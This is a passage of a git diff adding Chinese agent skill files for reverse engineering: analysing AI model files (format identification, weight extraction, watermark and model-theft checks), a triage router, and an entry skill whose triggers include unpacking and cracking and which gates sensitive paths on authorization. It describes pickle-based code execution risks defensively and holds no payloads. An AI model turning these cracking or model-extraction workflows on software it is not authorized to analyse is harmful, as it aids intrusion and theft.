|
||||
- Linux: `apt install python3` / `dnf install python3` / `pacman -S python`
|
||||
- macOS: `brew install python3`;Windows: `choco install python`
|
||||
- 验证: `python3 --version`(本技能脚本均为 Python 3)
|
||||
|
||||
### onnx(pip,Python 3.10+)—— ONNX 解析主力
|
||||
|
||||
- `pip install onnx`(官方 PyPI;当前 onnx 要求 Python 3.10+,具体版本以 PyPI Requires-Python 为准;自带 protobuf 依赖与 `onnx.proto3` 类型定义)
|
||||
- 验证: `python3 -c "import onnx; print(onnx.__version__)"`
|
||||
|
||||
### netron(pip,Python 3)—— 模型可视化
|
||||
|
||||
- `pip install netron`(官方 PyPI,无 Python 版本上界);桌面独立版可选: macOS `brew install --cask netron`、Windows `winget install netron`、Linux snap `snap install netron`
|
||||
- 验证: `netron --help` 有输出(`pip show netron` 查版本)
|
||||
- 用法: `netron model.onnx`(本地起 http 服务并开浏览器可视化;`--no-browser` 无头模式)
|
||||
|
||||
### torch(pip,Python >=3.10)—— PyTorch 模型加载
|
||||
|
||||
- Linux/Windows: `pip install torch`(默认 PyPI 轮子为带 CUDA 全量包,数 GB;仅 CPU 分析用 `pip install torch --index-url https://download.pytorch.org/whl/cpu`)
|
||||
- **Python 版本下限**:当前 torch 2.x 要求 **Python >=3.10**(PyPI `requires-python`;torchvision 同步为 >=3.10)——3.9 环境要装需 pin 到仍支持 3.9 的旧版(2.8.x 及更早)。torch / torchvision / Python 的具体组合以官方 compatibility matrix 为准,别按「3.9+」泛化
|
||||
- macOS: `pip install torch`(官方 wheel 为 CPU/arm64)
|
||||
- 验证: `python3 -c "import torch; print(torch.__version__)"`
|
||||
- **安全注**:torch.load 底层是 pickle——不要直接 load 未知 pkl 文件;PyTorch 2.6+ 默认 `weights_only=True`,旧版本/显式 `weights_only=False` 仍有任意代码执行风险;未知模型先 `unzip -l`/`xxd` 粗查(坑 2),在隔离环境用 `weights_only=True` 加载,能转 safetensors 就转
|
||||
|
||||
### safetensors(pip,Python 3)—— 安全格式读取
|
||||
|
||||
- `pip install safetensors`;验证: `python3 -c "import safetensors; print(safetensors.__version__)"`
|
||||
- 设计目的即无代码执行(纯数据 + JSON 头),是未知 pkl 的替代分析入口(坑 2 对策之一)
|
||||
|
||||
### protobuf / protoc(onnx 是 proto)—— 底层格式
|
||||
|
||||
- Python 绑定: `pip install protobuf`(当前 7.x 要求 **Python >=3.10**,6.x 起下限已在抬升;3.8/3.9 需 pin 对应旧版本。onnx 已自带依赖、通常无需单独装)
|
||||
- protoc 编译工具: Debian/Ubuntu `apt install protobuf-compiler`、Fedora `dnf install protobuf-compiler`、Arch `pacman -S protobuf`、macOS `brew install protobuf`
|
||||
- 验证: `protoc --version`;`python3 -c "import google.protobuf; print(google.protobuf.__version__)"`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步产物(模型哈希/结构摘要/权重清单)存档 sha256 + 路径([[re-ioc]] 证据链)。
|
||||
|
||||
1. **模型格式识别(onnx / safetensors / pytorch pkl / tflite)**:
|
||||
```sh
|
||||
file model.bin && sha256sum model.bin > model.sha256 && xxd model.bin | head -2
|
||||
```
|
||||
- **ONNX**:无固定魔数——protobuf 流,首字段为 ir_version(tag `0x08` + 变长值;**值随 ONNX 版本递增**:IR 8 对应 ONNX 1.10,当前发布已到 IR 13——所以第二个字节不是常量 `08`,不能拿 `08 08 12` 当识别特征);producer_name(tag `0x12`,长度前缀)按规范只 SHOULD 出现,不保证紧跟其后;`onnx.checker.check_model` 可验证合法性
|
||||
- **Safetensors**:前 8 字节 = **小端** u64 头长度(`struct.unpack("<Q", data[:8])`),随后是 JSON 头(张量名/形状/dtype/偏移)
|
||||
- **PyTorch**:`file` 显示 Zip archive(`PK\x03\x04` 头)——`unzip -l model.pt` 看条目(state_dict 含 `data.pkl`;torch.jit.script 含 `data.pkl`/`constants.pkl`/`bytecode.pkl`);老式纯 pkl 是裸 pickle 流(无 PK 头)——**不直接 load**,先 xxd/strings 粗看(坑 2)
|
||||
- **TFLite**:flatbuffers 流——无固定魔数,但字节 4–7 为文件标识符 `TFL3`(对应 schema 的 `__model_identifier` 字段),xxd/strings 可见;结构解析可用 Netron(支持 .tflite 可视化),权重提取分支思路同 onnx(flatbuffers 解析,超出本技能深度时标注"结构化 dump 为准")
|
||||
- 判定后按格式走对应分支;拿不准先 [[re-triage]] 初勘(熵/strings 特征)
|
||||
|
||||
2. **结构解析(图/层/算子)**:
|
||||
```sh
|
||||
netron model.onnx --no-browser # 可视化(有图形界面再开浏览器)
|
||||
python3 - <<'PY'
|
||||
import onnx
|
||||
m = onnx.load("model.onnx")
|
||||
print("producer:", m.producer_name, m.producer_version) # 框架/优化器指纹(见坑 3)
|
||||
g = m.graph
|
||||
print("inputs:", [(i.name, [d.dim_value for d in i.type.tensor_type.shape.dim]) for i in g.input])
|
||||
print("nodes:", len(g.node), "initializers:", len(g.initializer), "outputs:", [o.name for o in g.output])
|
||||
for n in g.node[:20]:
|
||||
print(n.op_type, n.name, list(n.input), "->", list(n.output))
|
||||
PY
|
||||
```
|
||||
- PyTorch 侧:`torch.jit.load` 得 ScriptModule 可打印 `model.graph`(TorchScript 结构);`torch.load` 的 state_dict 只有张量**没有网络结构**——结构在训练/推理脚本里,需配合源码还原(见跨域 [[re-script-deob]])
|
||||
- 关注点:算子序列(卷积/注意力等结构指纹)、输入输出张量形状、常量节点位置(权重藏在哪)
|
||||
|
||||
3. **权重提取(张量 dump)**:
|
||||
```sh
|
||||
mkdir -p weights
|
||||
# ONNX:逐 tensor 惰性落地(大模型见坑 1)
|
||||
# 注意:这不是"流式"——to_array() 对使用 external data 的 tensor 会先把该张量【完整】读进 ndarray,
|
||||
# 只是"一次一个张量"而不是"一次整个模型";显存/内存峰值取决于最大的那个张量
|
||||
python3 - <<'PY'
|
||||
import onnx, numpy as np
|
||||
m = onnx.load("model.onnx", load_external_data=False) # 只载图结构,不载外部权重
|
||||
for init in m.graph.initializer:
|
||||
# base_dir 默认为空字符串——外部权重不在 CWD 时必须显式指定其所在目录
|
||||
arr = onnx.numpy_helper.to_array(init, base_dir=".") # 该张量在此处被完整 materialize
|
||||
np.save(f"weights/{init.name.replace('/', '_')}.npy", arr)
|
||||
print(init.name, arr.shape, arr.dtype)
|
||||
del arr # 及时释放,为下一张量让出内存
|
||||
PY
|
||||
# Safetensors:惰性按张量读取(不整载内存)
|
||||
python3 - <<'PY'
|
||||
from safetensors import safe_open
|
||||
with safe_open("model.safetensors", framework="numpy") as f:
|
||||
print(len(f.keys()), "tensors")
|
||||
for k in list(f.keys())[:10]:
|
||||
t = f.get_tensor(k); print(k, t.shape, t.dtype)
|
||||
PY
|
||||
# PyTorch state_dict(weights_only 安全加载,见坑 2)
|
||||
python3 - <<'PY'
|
||||
import torch
|
||||
sd = torch.load("model.pth", weights_only=True)
|
||||
for k, v in list(sd.items())[:10]:
|
||||
print(k, tuple(v.shape) if hasattr(v, "shape") else type(v))
|
||||
PY
|
||||
```
|
||||
- 产出:权重清单(张量名/形状/dtype/数值摘要)+ npy 存档——这是水印检测与窃取判定的原料
|
||||
|
||||
4. **模型水印/指纹检测(嵌入权重)**:
|
||||
- 权重级:逐张量统计(min/max/mean/std、直方图分桶)与疑似原版模型比对;水印常嵌在特定层(首层卷积 bias、归一化 scale、embedding 矩阵行),多为低比特位扰动——检查关键张量的低比特位模式与数值分布异常,而非精确相等(坑 4)
|
||||
- 指纹级:全权重 sha256 摘要、逐层张量 hash 序列;与候选原版逐层距离(L2/余弦)比对,输出"每层距离热点图"
|
||||
- 行为级:同一测试输入集跑两模型推理,比较 logits 与激活分布——重训练/蒸馏窃取者权重不同但行为接近
|
||||
- 产出:相似度矩阵 + 热点图,结论注明判定依据与阈值
|
||||
|
||||
5. **模型窃取判定(架构相似度)**:
|
||||
```sh
|
||||
python3 - <<'PY'
|
||||
import onnx
|
||||
from difflib import SequenceMatcher
|
||||
m1 = onnx.load("suspect.onnx"); m2 = onnx.load("original.onnx")
|
||||
s1 = [n.op_type for n in m1.graph.node]; s2 = [n.op_type for n in m2.graph.node]
|
||||
print("op-seq similarity:", SequenceMatcher(None, s1, s2).ratio()) # 算子序列相似度
|
||||
# 层对齐后逐层权重余弦/L2 距离:见步骤 4 的每层距离矩阵
|
||||
PY
|
||||
```
|
||||
- 维度:算子序列(SequenceMatcher)、输入/输出形状、逐层权重余弦/L2、输出 logits 距离
|
||||
- 判定纪律:单一维度是弱证据(同架构不同训练=正常);多维度一致且权重分布高度接近(如逐层余弦 >0.99)才可主张窃取,结论标注各维度数值
|
||||
- 隐藏载荷检查:`m.metadata_props`(ONNX metadata 藏字符串/代码)、zip 条目中多余文件(坑 2 相关)、权重中形状/数值分布特异的异常张量
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-managed]]:本网关「识别运行时」识别到 AI 模型文件后固定调用本技能(模型是"代码在数据里"的托管域分支)
|
||||
- [[re-binary-core]]:模型内嵌代码、模型被打包进可执行文件(PyInstaller/pyarmor 打包的推理程序)——先二进制域拆解(格式解析/反编译),拆出的模型文件回本技能
|
||||
- [[re-sandbox]]:一切未知 pkl 的 load 默认隔离环境([[re-analyze/platform-tips]] 最高原则)
|
||||
- [[re-malware]]:恶意模型载荷(pickle 恶意代码、后门权重、投毒模型分发)的行为与情报侧
|
||||
- [[re-ioc]]:模型指纹(sha256/张量 hash/水印模式)进 IOC;[[re-triage]]:模型文件初勘入口与哈希存档
|
||||
- [[re-script-deob]]:PyTorch 推理/训练脚本还原(state_dict 无结构时的补全路径)
|
||||
- 引用 [[re-analyze/platform-tips]] 静态优先(大型样本)与沙箱最高原则分支
|
||||
- [[re-ai-attack]]:**文件级证据 → 行为级验证**(单向数据流)——本技能产出的文件侧结论(结构 / 权重 / 文件级 fingerprint)作为 re-ai-attack 行为一致性验证的输入。示例:拿到 suspect.pt → 本技能提取结构+权重生成 fingerprint → 转 re-ai-attack 做行为一致性验证(API 侧比对)
|
||||
- 只有 API(无文件)的评估直接进 [[re-ai-attack]],不经本技能
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **大模型文件巨大(GB 级)**:现象——`onnx.load`/`torch.load` 吃满内存卡死,netron 打开超时,`np.save` 批量写盘满;原因——权重数 GB,一次性整体加载到内存;对策——分析前先 `du -sh`/`sha256sum` 存档;ONNX 用 `onnx.load(..., load_external_data=False)` 只载图结构,再**逐 tensor** 取值——注意 `numpy_helper.to_array()` 对该 tensor **是完整读出**(不是流式),所以峰值取决于最大的张量,且用 external data 时要**显式给 `base_dir`**(默认空字符串,权重不在 CWD 时直接失败);Safetensors 用 `safe_open` 惰性按张量读;PyTorch 大模型 `torch.load(..., mmap=True)`;处理对象是"结构摘要 + 定向张量",不是整个文件
|
||||
- **pkl 反序列化风险(不要直接 torch.load 未知 pkl)**:现象——load 后进程反弹 shell/文件被删,或报诡异 `AttributeError`/`ModuleNotFoundError`;原因——pickle 协议可注入任意代码(`__reduce__`/`__setstate__`),torch.load 底层就是 pickle,恶意模型是投毒载荷载体;对策——**安全提示:未知模型绝不直接 `torch.load`**;先 `unzip -l`/`xxd`/`strings` 粗查(zip 头 PK vs 裸 pickle、条目有无可疑模块名),用 `weights_only=True`(PyTorch 2.6+ 默认)加载,需要全功能加载时在隔离环境([[re-sandbox]])执行;可转 safetensors 的样本直接转(纯数据无代码执行)
|
||||
- **图优化混淆层结构**:现象——onnx-simplifier/TensorRT/onnxruntime 优化后的模型算子序列与训练态对不上(Conv+BN 融合成一个 Conv、常量折叠、名字全改),结构相似度误判;原因——优化器做算子融合/常量折叠,图结构与训练态不同,producer 字段会变;对策——先读 `m.producer_name`/`m.producer_version` 识别优化器与版本(融合 ConvBN 的特征:BN 层消失且 scale 并入 conv 权重);架构比较前先规范化算子序列(按算子类别抽象,忽略名字与常量差异);可用 onnx-simplifier/onnxruntime `graph_optimization_level` 对比优化前后 diff 还原原始层
|
||||
- **水印鲁棒性(剪枝后仍存)**:现象——精确值比对未命中就下"无水印"结论,或两个无关模型在个别层数值巧合相似被误判"窃取";原因——鲁棒水印经剪枝/量化/重训练后仍存活(设计目标),精确匹配必漏;正常模型同架构同数据权重分布相似,单层巧合是假阳性;对策——水印检测用"统计异常"(低比特位扰动/数值分布特异层)而非"精确相等",窃取判定用多维度证据 + 阈值(步骤 5 纪律),结论标注置信度与证据强度
|
||||
72
vendor-new/rev-skills/.claude/skills/re-ai-triage/SKILL.md
Normal file
72
vendor-new/rev-skills/.claude/skills/re-ai-triage/SKILL.md
Normal file
@@ -0,0 +1,72 @@
|
||||
---
|
||||
name: re-ai-triage
|
||||
type: atomic
|
||||
description: >
|
||||
AI 模型分析第一入口(分流器):识别输入形态——模型文件走文件层逆向(re-ai-model)、
|
||||
仅有 API 走行为层评估(re-ai-attack)、恶意行为走恶意分析。
|
||||
触发词:AI模型分析、AI模型安全、模型文件、模型泄露、模型逆向、模型分析入口。
|
||||
capabilities: [triage]
|
||||
---
|
||||
|
||||
# AI 模型分析入口(分流器)
|
||||
|
||||
## 任务分类器(输入形态 → 路径)
|
||||
|
||||
拿到 AI 相关目标后先判输入形态,命中即转对应技能:
|
||||
|
||||
| 输入形态 | 路径 |
|
||||
|---|---|
|
||||
| 拿到模型文件(.onnx / .pt / .pth / .safetensors / .tflite) | → **[[re-ai-model]]**(文件层:格式解析 / 结构还原 / 权重提取 / 文件级水印) |
|
||||
| 只有 API(无文件,黑盒接口) | → **[[re-ai-attack]]**(行为层:extraction / fingerprint / privacy / robustness 评估;guard 授权前置) |
|
||||
| 文件 + API 都有 | → 先 [[re-ai-model]](文件侧取证)→ 再 [[re-ai-attack]](行为侧验证) |
|
||||
| 发现恶意行为(投毒 / 后门 / 恶意载荷 / 下载执行) | → 恶意分析(当前:[[re-ai-model]] 安全边界处理 + [[re-behavior]];未来独立 re-ai-malware 承接) |
|
||||
| 模型被打包进可执行(PyInstaller/pyarmor 等) | → 先 [[re-binary-core]] 拆包 → 拆出的模型文件回本技能分流 |
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:用户说「分析这个模型 / AI 模型安全 / 模型泄露」但未指明输入形态——先分流
|
||||
- 用:不确定目标是文件层还是行为层时——先识别再转
|
||||
- 不用:输入形态已明确(直接进 [[re-ai-model]] 或 [[re-ai-attack]],不绕本技能)
|
||||
- 不用:非 AI 目标(走全局入口 [[re-analyze]])
|
||||
- 不用:训练 / 微调 / 部署(非逆向)
|
||||
|
||||
## 工具准备
|
||||
|
||||
本技能只做识别与分流,工具轻量:
|
||||
|
||||
### python3 / file —— 模型文件识别
|
||||
|
||||
- python3 安装与验证见 [[re-python]] 工具准备
|
||||
- `file`:Linux `apt install file` / `dnf install file` / `pacman -S file`(多数预装);验证 `file --version`
|
||||
- 验证:`python3 -c "import struct"`(标准库)
|
||||
|
||||
### 模型库探测(判断目标依赖,不加载模型)
|
||||
|
||||
- `pip list 2>/dev/null | grep -iE 'torch|tensorflow|onnx'`——确认本机可解析目标格式;缺失时由下游技能引导安装
|
||||
|
||||
## 操作步骤
|
||||
|
||||
1. **输入形态识别**:
|
||||
- 用户给了路径/文件 → 先 `file <path>` + `xxd <path> | head -2` 粗看,再转 [[re-ai-model]]。几种形态的可靠信号(**都以字节为准,不靠扩展名**;细节见 [[re-ai-model]] 步骤 1):
|
||||
- **onnx**:protobuf 流、无固定魔数,`file` 报 `data`;首字节是 ir_version 的 tag `0x08`,**第二个字节是版本号、随 ONNX 版本递增(不是常量 `08`)**;`producer_name` 按规范只 SHOULD 出现
|
||||
- **safetensors**:`file` 报 `data`——前 8 字节是小端头长度,其后才是 JSON 头(`xxd -l 16` 可见长度段与 `{`)
|
||||
- **pytorch**:新版是 zip 容器,`file` 报 `Zip archive`(`PK\x03\x04` 头),`unzip -l` 可见 `data.pkl` 等条目;老式是裸 pickle 流(无 `PK` 头,`file` 常误报 `XENIX 8086 relocatable or i286 small model`)——**不直接 load**,见 [[re-ai-model]] 坑 2
|
||||
- **tflite**:flatbuffers 流,`file` 报 `data`;字节 4–7 是文件标识符 ASCII `TFL3`
|
||||
- 用户只有 API 端点/查询能力 → 转 [[re-ai-attack]]
|
||||
- 两者都有 → 按任务分类器先文件后行为
|
||||
2. **目标归属确认**:文件/API 的持有方与授权(自有 / 授权测试 / CTF·研究)——行为层评估前必须确认([[re-ai-attack]] guard 前置;授权上下文见 triage 第 0 步 `RE_AUTH`)
|
||||
3. **转交与记录**:明确转交技能 + 会话变量(`RE_GOAL`、`RE_AUTH`、输入形态标记),不在本技能做深度分析
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-managed]]:本技能是其 AI 分支的第一跳(re-managed → re-ai-triage → re-ai-model / re-ai-attack)
|
||||
- [[re-ai-model]]:文件层下游
|
||||
- [[re-ai-attack]]:行为层下游(guard 授权前置)
|
||||
- [[re-binary-core]]:模型打包进可执行时的拆包前置
|
||||
- [[re-behavior]]:恶意行为侧协作(投毒/后门的行为判定)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **拿文件名猜格式**:`.pt` 可能是 pickle 也可能是 zip 容器(torch 新格式)、`.bin` 可能是任意权重 dump——以 `file` 输出与魔数为准,不靠扩展名
|
||||
- **分流过深**:本技能只识别与转交,不展开分析——在分流阶段做深度分析会与下游重复
|
||||
- **授权前置遗漏**:行为层评估([[re-ai-attack]])有 guard 授权要求——转交前先确认 `RE_AUTH`,未知归属时先询问,不直接进入行为层
|
||||
117
vendor-new/rev-skills/.claude/skills/re-analyze/SKILL.md
Normal file
117
vendor-new/rev-skills/.claude/skills/re-analyze/SKILL.md
Normal file
@@ -0,0 +1,117 @@
|
||||
---
|
||||
name: re-analyze
|
||||
type: entry
|
||||
description: >
|
||||
逆向分析唯一入口。流程:环境探测(probe.sh) → 偏好询问(分析目标/反编译器/深度/报告/平台) →
|
||||
任务识别(triage.md) → 编排调用大类网关。
|
||||
触发词:分析、逆向、reverse、RE、帮我看看这个文件、这个样本是干什么的、
|
||||
脱壳、找密钥、破解、固件分析、恶意软件分析、analyze this binary。
|
||||
---
|
||||
|
||||
# 逆向分析入口
|
||||
|
||||
<TARGET-AWARE-GATE>
|
||||
按输入类型决定是否必须环境探测,再进入后续步骤。禁止跳过探测直接分析二进制文件/样本。
|
||||
</TARGET-AWARE-GATE>
|
||||
|
||||
## 第〇步:输入类型判定与环境探测
|
||||
|
||||
**输入类型 → probe 判定**:
|
||||
|
||||
| 输入类型 | probe |
|
||||
|---|---|
|
||||
| 文件/样本(可执行、固件、压缩包、文档、APK 等) | 必须 |
|
||||
| 二进制/固件分析请求(目标在磁盘上) | 必须 |
|
||||
| 现象描述 / 无样本("某程序不落盘""行为异常",目标在运行中) | 必须(现场采集需工具与环境探测) |
|
||||
| 代码片段(用户直接粘贴的 C/汇编/伪代码) | 跳过 |
|
||||
| 反编译截图/反汇编文本(无文件可分析) | 跳过 |
|
||||
| 协议描述/逻辑问答(无二进制目标) | 跳过 |
|
||||
|
||||
- **probe 必须时**:运行 `references/probe.sh`(或本机手动执行等价命令),记录:
|
||||
- `RE_OS` / `RE_ARCH` / `RE_CORES` / `RE_MEM_GB`(探测失败→询问用户)
|
||||
- `RE_TOOLS`:HAVE 列表(已装,优先使用)与 MISS 列表(未装,**不中断流程**,用到的技能会引导安装)
|
||||
- 参考 [[platform-tips]] 中本平台分支的经验
|
||||
- **probe 跳过时**:无 OS/ARCH/MEM 需求——`RE_OS`/`RE_ARCH`/`RE_CORES`/`RE_MEM_GB`/`RE_TOOLS` 置 `unknown`,后续步骤/技能用到时按需询问,不阻塞入口
|
||||
|
||||
## 第一步:偏好询问(分级)
|
||||
|
||||
按 `references/preferences.md` 分级规则处理(**不默认逐项询问**):
|
||||
- **Level 0 快速入口(默认)**:目标为初步分析或未明确 → 直接采用默认值(目标=初步分析、Ghidra、standard、报告要、平台 auto),进入第二步
|
||||
- **Level 1 深度任务**:目标明确属于深度任务(脱壳 / 漏洞 / 协议逆向 / 恶意深度分析 / 破解 / 取证等)或用户主动要求 → 完整询问 5 项:
|
||||
1. **分析目标**(必答,第一项)——不明确就追问
|
||||
2. 反编译器:Ghidra(默认) / IDA / radare2
|
||||
3. 深度:快速结论 / 标准分析 / 深度报告
|
||||
4. 报告:要 / 不要
|
||||
5. 平台确认:自动 / 手动
|
||||
|
||||
结果存入会话变量(`RE_GOAL`、`RE_DECOMPILER`、`RE_DEPTH`、`RE_REPORT`、`RE_TARGET_PLATFORM`),本次分析全程有效,被调用技能读取。
|
||||
|
||||
**安全底线**:目标涉及运行样本 → 提醒默认沙箱原则(见 [[platform-tips]] 最高原则)。
|
||||
|
||||
## 第二步:任务识别
|
||||
|
||||
**先认目标**:拿不准目标属于**哪个系统**时,先过 [[system-fingerprints]]——**第 0 步是证据归属**(容器里有哪些对象、各自 scope、主体是哪一个;**跨 scope 的命中只记存在性**),再走载体与格式 → 超家族收敛 → 家族内指认 → 易混淆对 → 负判据。很多情况下 **ELF 的 `EI_OSABI` 与 note 段就能一步定案**;无容器镜像则找魔数与签名串;有配置文件时,**配置格式本身就是强判据**。
|
||||
|
||||
**判不出不要硬判**:家族定下来、系统未定,也好过猜一个系统然后整条分析链跑偏;此时按家族级分支先推进。
|
||||
|
||||
按 `references/triage.md` 决策表,把 `RE_GOAL` + 输入文件映射到一条编排路径。复合目标按依赖顺序串联多个大类。
|
||||
|
||||
**先判授权上下文**:按 triage 第 0 步判定 `RE_AUTH`(owned / ctf / research / unknown)——补丁/绕过/动态执行等敏感路径受其约束(与 [[re-cracking]] 授权边界一致)。
|
||||
|
||||
## 第三步:路由引擎(状态机)
|
||||
|
||||
技能不是调用链,是**状态转移**:每个技能执行后产出新证据,证据驱动下一跳。
|
||||
|
||||
```
|
||||
triage → route → skill execution → evidence → route(循环)
|
||||
```
|
||||
|
||||
调用对应大类网关技能(`[[re-binary-core]]` `[[re-malware]]` `[[re-firmware]]` `[[re-protocol]]` `[[re-mobile]]` `[[re-anti-analysis]]` `[[re-cracking]]` `[[re-vuln]]` `[[re-ctf]]` `[[re-managed]]` `[[re-forensics]]`),网关内部自行选择原子技能。
|
||||
|
||||
**Route State(循环防护)**:
|
||||
- `visited`:已进入技能列表(会话变量 `RE_VISITED`)
|
||||
- `max revisit`:1
|
||||
- **规则**:同技能第二次进入必须携带**新证据**(相对上次进入时的证据增量——新字符串/新行为/新结构特征);无新证据禁止重入,回到当前技能的备选分支或按 [[rerouting]] B 表收束(防 binary-core ↔ crypto ↔ anti-analysis 类循环)
|
||||
|
||||
**双轨再路由(强制,见 [[rerouting]])**:
|
||||
- 轨 1(网关完成必查):每网关完成后,对照 [[rerouting]] 的 A/B 表检查新证据;命中 → 调用对应技能,完成后回到轨 1 继续
|
||||
- 轨 2(证据出现即查):分析中每产出新证据类型(字符串内容如密钥/C2/壳名、节表、行为、加密特征),立即对照 A 表;命中 → 调用技能
|
||||
- 未命中任何表项 → 按 B 表约束行动(换思路/回退/交付部分结论),禁止自行硬琢磨
|
||||
|
||||
**跨系统误判表(判定前强制前置)**:任何要写"这是 hook / dead code / loader bug / 恶意"的时刻,先对照 [[cross-system-models]]——十类高频误判表 + 跨系统共同规律(本地句柄≠全局标识、ready≠有资格运行、无内核入口≠无 I/O、无 CFG 边≠没发生、磁盘≠运行)+ 异常处理树,逐项排除**该运行模型允许的正常机制**;排除过程与依据写进报告,**未排除完不写结论**。
|
||||
|
||||
分析全流程遵守 [[analysis-contract]]:分析前收集上下文清单(含调查预算,每目标 ≤8 次工具调用)、环节间按数据契约传字段(不重复扫描)、结论交付前做独立复核(证据↔结论逐条核对,输出含置信度的结构化格式)。
|
||||
|
||||
## 第四步(可选):经验复盘
|
||||
|
||||
分析结论交付后,问用户是否把本次踩坑/新方法反馈给技能库——需要则调用 [[re-feedback]](三档:发表 issue / 本地入库 / 不入库;蒸馏必须脱敏,见该网关红线)。
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:任何逆向/恶意软件/固件/协议/移动/破解/CTF 分析请求
|
||||
- 不用:已被具体技能触发的精确请求(如"用 Ghidra 分析这段代码"可直接走 [[re-ghidra]])
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- 探测不是摆设:内存 <4GB 却选了 Ghidra → 提示改用 radare2
|
||||
- 目标是"看逻辑"却直接上沙箱 → 静态优先,动态按需
|
||||
- 用户没装任何工具是常态——不要因为 MISS 卡住,按「工具准备」引导安装
|
||||
|
||||
- **自挖前先搜社区逆向成果**:现象——为同类目标(协议/壳/签名)自写解析器/算法还原,耗时是移植的 10 倍;原因——开源逆向项目(协议实现、脱壳器、模拟器回调集)是前人成果沉淀,直接可移植;对策——先搜 GitHub/码云/codeload 同类项目(即使版本不同,结构/模式可复用),确认无现成成果再自挖
|
||||
|
||||
- **走完入口不再调用技能**:现象——入口编排后自己硬琢磨,中途发现新特征(壳/加密/反调试)不调对应技能;原因——再路由未执行;对策——按第三步双轨:每网关完成/每新证据对照 [[rerouting]] 触发表,命中即调
|
||||
|
||||
- **把大目标当一步棋,要求一次全量分析**:现象——接到"分析这个程序"直接要求整套分析+完整报告,工具/技能一次返回全量结果,上下文膨胀且重复扫描;原因——没把长任务拆成小步骤链,大而全的输出牺牲了可探索性与可跟踪性;对策——拆成原子小步(列字符串→查 xref→单函数反编译),每步产物带地址/符号等结构化字段直接喂下一步,大输出按行范围/分页按需拉取,不一次拉全
|
||||
(来源:ReVa(cyberkaida),Apache-2.0)
|
||||
|
||||
- **工具参数不匹配就换路,不先做输入归一化**:现象——传参报错(地址/符号名形态不符、类型不匹配)立即判定工具不可用或换思路;原因——工具输入层本就容忍常见偏差,LLM 的典型错误可在输入端消化;对策——重试前先归一化:地址↔符号名互相尝试、数字/布尔参数补类型转换、签名文本消除空白差异(如 `char *func(` 与 `char* func(` 等价);互斥参数冲突时按错误提示去掉其一再重试
|
||||
(来源:ReVa(cyberkaida),Apache-2.0)
|
||||
|
||||
- **报错当死路,不读错误消息里的下一步指引**:现象——工具报错即停或换路,忽略错误文本中的修复建议;原因——把错误当终点而非决策点;对策——错误消息通常带够纠错上下文(相似名建议、可用清单、前置条件提示如"先反编译再改名"/"先定义函数再修改"),按指引修正重试,重试成本低于换路
|
||||
(来源:ReVa(cyberkaida),Apache-2.0)
|
||||
|
||||
- **长任务上下文膨胀:同步等全量 vs 游标增量轮询**:现象——分钟级分析(全量自动分析、批量对比)同步死等或反复重查旧结果,重复内容挤占上下文,后期判断被稀释;原因——没用"小片段+增量"机制管理长任务上下文;对策——长任务交后台作业,先拿回作业标识+日志游标立即继续,轮询只取游标之后的新增行,终态再取完整结果,期间并行其他环节;输出侧同理:列表先 count 后 list、默认紧凑模式(名称+地址+大小),需要细节再开 verbose——大集合绝不一次拉全
|
||||
(来源:ReVa(cyberkaida),Apache-2.0)
|
||||
|
||||
- **预设工具覆盖不了就卡死,不启用脚本逃逸舱**:现象——标准工具链缺对应能力(批处理、自定义逻辑)就停滞或放弃;原因——没把脚本直通当备选通道,或反过来滥用脚本绕过专用工具;对策——工具优先:先确认无专用技能/工具再绕道脚本;脚本执行带护栏(输出截断、超时、异常捕获、只写注册脚本目录),inline 代码走临时文件;脚本产物回填结构化字段继续后续环节
|
||||
(来源:ReVa(cyberkaida),Apache-2.0)
|
||||
@@ -0,0 +1,129 @@
|
||||
# 分析契约
|
||||
|
||||
分析全流程的三条契约:分析前(上下文清单 + 调查预算)、分析中(数据传递字段)、分析后(复核格式)。所有网关与原子技能执行分析时遵循本契约。
|
||||
中途再路由:证据触发按 [[rerouting]] 双轨执行(轨 1 网关完成必查 / 轨 2 证据出现即查),命中即调对应技能。
|
||||
|
||||
## 一、分析上下文清单(分析前)
|
||||
|
||||
分析一个目标前,先收集以下上下文再动手。**通用四项按目标域展开**(域字段见第三节 3.2),不套用文件域字段:
|
||||
|
||||
- 目标标识:标识符(路径 / 端点 / 设备 / 包名 / 模型文件)、哈希(sha256)、大小
|
||||
- 结构信息(**按域取**):文件域 = 架构/格式/节表/导入导出;协议域 = 端点/端口/帧样例;车载域 = 仲裁 ID/周期/DLC;射频域 = 中心频率/采样率/调制;模型域 = 格式/张量清单;TEE 域 = TA/会话/SMC 号;取证域 = 来源设备/时间线
|
||||
- 关联信息(**按域取**):文件域 = xrefs/caller/callee/引用字符串;协议域 = 请求-响应配对;模型域 = 层间依赖与算子序列;取证域 = 跨数据源的同一记录
|
||||
- 已知线索:已命名/已恢复的结构(符号表、struct/字段语义、协议字段名)、本会话已得出的结论(跨环节传递)
|
||||
|
||||
收集不到的项目记「未知」,不阻塞开工——但禁止跳过收集直接分析。
|
||||
|
||||
## 二、调查预算(分析中)
|
||||
|
||||
- **软预算,不是硬上限**:主动申请额外证据(xrefs/反编译/内存读取等工具调用)**8 次为一档**——**到档必须重新评估**(当前假设是否还成立、下一步的证据增益是否还值得),**而不是禁止继续**。复杂目标(大型固件 / 内核 / 协议 / 混淆程序)评估通过后进入下一档
|
||||
- **到档评估三选一**:继续(写明新的证据假设)/ 换路(按 pivot 链)/ 收束(交付部分结论 + 置信度)。评估结论记录在案,便于复核
|
||||
- 同参数重复 ≥2 次无新证据 → 换思路;单命令 ≥3 次无进展 → 停下评估
|
||||
- 证据预载优先:上下文清单一次给足,减少来回调用
|
||||
|
||||
## 三、数据契约(分析中,环节间传递)
|
||||
|
||||
链式编排(入口 → 域环节 → 后续环节)的传递字段,**分两层:核心字段(所有域必带)+ 域扩展字段(按目标域选用)**。此前本表只有文件域一套字段,对其他域(协议/射频/车载/模型/TEE/取证)不适用——按域取字段,不硬套。
|
||||
|
||||
### 3.1 核心字段(所有域)
|
||||
|
||||
| 字段 | 含义 | 产出环节 |
|
||||
|---|---|---|
|
||||
